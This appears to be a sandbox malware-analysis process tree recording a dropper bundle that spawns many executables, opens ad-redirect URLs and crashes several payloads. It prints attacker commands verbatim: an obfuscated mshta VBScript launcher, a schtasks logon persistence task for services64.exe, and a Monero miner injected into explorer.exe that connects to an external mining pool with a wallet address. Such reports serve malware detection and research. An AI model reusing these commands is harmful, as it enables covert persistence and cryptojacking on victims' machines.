C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=74 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1648 /prefetch:110⤵PID:5220
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=76 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4500 /prefetch:110⤵PID:4228
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=78 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3900 /prefetch:110⤵PID:1196
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=80 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5008 /prefetch:110⤵PID:5332
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=82 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6084 /prefetch:110⤵PID:4512
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=84 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6184 /prefetch:110⤵PID:2120
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=86 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6052 /prefetch:110⤵PID:2252
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=88 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5256 /prefetch:110⤵PID:3336
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=90 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6260 /prefetch:110⤵PID:4892
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=91 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6024 /prefetch:110⤵PID:6012
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=92 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5940 /prefetch:110⤵PID:4596
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=95 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1276 /prefetch:110⤵PID:2940
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=97 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5340 /prefetch:110⤵PID:5076
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=99 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1732 /prefetch:110⤵PID:1324
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=101 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6132 /prefetch:110⤵PID:752
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=103 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4920 /prefetch:110⤵PID:5384
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=105 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5952 /prefetch:110⤵PID:6064
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=107 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6176 /prefetch:110⤵PID:1056
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=109 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1276 /prefetch:110⤵PID:5888
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=111 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5064 /prefetch:110⤵PID:664
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=113 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6184 /prefetch:110⤵PID:5972
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=115 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5588 /prefetch:110⤵PID:736
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=116 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5076 /prefetch:110⤵PID:5520
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=117 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1788 /prefetch:110⤵PID:5332
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad9⤵PID:1668
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8e3b846f8,0x7ff8e3b84708,0x7ff8e3b8471810⤵PID:3076
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=18514839⤵PID:5136
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8e3b846f8,0x7ff8e3b84708,0x7ff8e3b8471810⤵PID:3684
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=18515139⤵PID:4488
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8e3b846f8,0x7ff8e3b84708,0x7ff8e3b8471810⤵PID:2572
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://www.directdexchange.com/jump/next.php?r=20872159⤵PID:3184
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8e3b846f8,0x7ff8e3b84708,0x7ff8e3b8471810⤵PID:976
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.directdexchange.com/jump/next.php?r=42631199⤵PID:2108
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x110,0x114,0x118,0xec,0x11c,0x7ff8e3b846f8,0x7ff8e3b84708,0x7ff8e3b8471810⤵PID:3192
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?id=12942319⤵PID:5824
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8e3b846f8,0x7ff8e3b84708,0x7ff8e3b8471810⤵PID:2284
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=1492888&var=39⤵PID:1060
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8e3b846f8,0x7ff8e3b84708,0x7ff8e3b8471810⤵PID:5472
-
C:\Users\Admin\AppData\Local\Temp\70-37310-b33-bae8d-a4fad9cb4a45f\Bafumiluto.exe"C:\Users\Admin\AppData\Local\Temp\70-37310-b33-bae8d-a4fad9cb4a45f\Bafumiluto.exe"8⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4372 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\atkyez3y.fgc\GcleanerEU.exe /eufive & exit9⤵
- Executes dropped EXE
PID:5716 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV110⤵
- Suspicious use of AdjustPrivilegeToken
PID:5576 -
C:\Users\Admin\AppData\Local\Temp\atkyez3y.fgc\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\atkyez3y.fgc\GcleanerEU.exe /eufive10⤵
- Executes dropped EXE
PID:5348 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5348 -s 28011⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:1356 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pd522mdf.fsy\installer.exe /qn CAMPAIGN="654" & exit9⤵PID:3432
-
C:\Users\Admin\AppData\Local\Temp\pd522mdf.fsy\installer.exeC:\Users\Admin\AppData\Local\Temp\pd522mdf.fsy\installer.exe /qn CAMPAIGN="654"10⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
PID:3620 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\pd522mdf.fsy\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\pd522mdf.fsy\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1631133693 /qn CAMPAIGN=""654"" " CAMPAIGN="654"11⤵
- Enumerates connected drives
PID:1584 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hlti0apf.ahj\anyname.exe & exit9⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6128 -
C:\Users\Admin\AppData\Local\Temp\hlti0apf.ahj\anyname.exeC:\Users\Admin\AppData\Local\Temp\hlti0apf.ahj\anyname.exe10⤵
- Executes dropped EXE
PID:5212 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\btxe21if.5c3\gcleaner.exe /mixfive & exit9⤵PID:964
-
C:\Users\Admin\AppData\Local\Temp\btxe21if.5c3\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\btxe21if.5c3\gcleaner.exe /mixfive10⤵
- Executes dropped EXE
PID:4520 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4520 -s 27611⤵
- Program crash
PID:2548 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ootcmahh.ayg\autosubplayer.exe /S & exit9⤵
- Suspicious use of SetWindowsHookEx
PID:3708 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat19c6762a08beae.exe4⤵
- Suspicious use of WriteProcessMemory
PID:768 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat19e6a852f849bb2.exe4⤵
- Suspicious use of WriteProcessMemory
PID:884 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat19f84b58b3d7.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4148 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat19e4750dd01.exe /mixone4⤵
- Suspicious use of WriteProcessMemory
PID:4792
-
C:\Windows\System32\sihclient.exeC:\Windows\System32\sihclient.exe /cv 1PsfHjy/6UuX87LF/E3WAg.0.21⤵
- Modifies data under HKEY_USERS
PID:4848
-
C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\Sat19e4750dd01.exeSat19e4750dd01.exe /mixone1⤵
- Executes dropped EXE
PID:1412 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1412 -s 2442⤵
- Program crash
PID:4844
-
C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\Sat19c6762a08beae.exeSat19c6762a08beae.exe1⤵
- Executes dropped EXE
PID:3224 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3224 -s 2922⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5456
-
C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\Sat19e6a852f849bb2.exeSat19e6a852f849bb2.exe1⤵
- Executes dropped EXE
PID:1272 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1272 -s 2922⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5472
-
C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\Sat19f84b58b3d7.exeSat19f84b58b3d7.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1708 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"2⤵
- Executes dropped EXE
PID:4176 -
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"3⤵PID:5212
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5212 -s 6364⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:2428 -
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4220 -
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4224 -
C:\ProgramData\6546358.exe"C:\ProgramData\6546358.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5136 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5136 -s 23485⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:3968 -
C:\ProgramData\4877252.exe"C:\ProgramData\4877252.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: SetClipboardViewer
PID:4548 -
C:\ProgramData\7798956.exe"C:\ProgramData\7798956.exe"4⤵PID:6016
-
C:\ProgramData\7798956.exe"C:\ProgramData\7798956.exe"5⤵
- Executes dropped EXE
PID:5280 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6016 -s 10805⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:3228 -
C:\ProgramData\1510349.exe"C:\ProgramData\1510349.exe"4⤵
- Executes dropped EXE
PID:1188 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCrIPt: close (crEateobJeCt ("wsCRIpT.sHEll" ). RUN("C:\Windows\system32\cmd.exe /q /C cOPy /Y ""C:\ProgramData\1510349.exe"" C3KHKEn~m73GVLA.exE && StArT C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9 &If """"== """" for %l In ( ""C:\ProgramData\1510349.exe"") do taskkill -Im ""%~nxl"" /F " ,0 , TRuE))5⤵PID:2988
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /C cOPy /Y "C:\ProgramData\1510349.exe" C3KHKEn~m73GVLA.exE && StArT C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9 &If ""=="" for %l In ( "C:\ProgramData\1510349.exe") do taskkill -Im "%~nxl" /F6⤵PID:5776
-
C:\Windows\SysWOW64\taskkill.exetaskkill -Im "1510349.exe" /F7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4828 -
C:\ProgramData\8148614.exe"C:\ProgramData\8148614.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5728 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5728 -s 24405⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5948 -
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3128 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit4⤵PID:5036
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'5⤵
- Creates scheduled task(s)
PID:5992 -
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3964 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit5⤵PID:4148
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'6⤵
- Creates scheduled task(s)
PID:4132 -
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"5⤵
- Executes dropped EXE
PID:3720 -
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth5⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2400 -
C:\Users\Admin\AppData\Local\Temp\udptest.exe"C:\Users\Admin\AppData\Local\Temp\udptest.exe"3⤵
- Executes dropped EXE
PID:5428 -
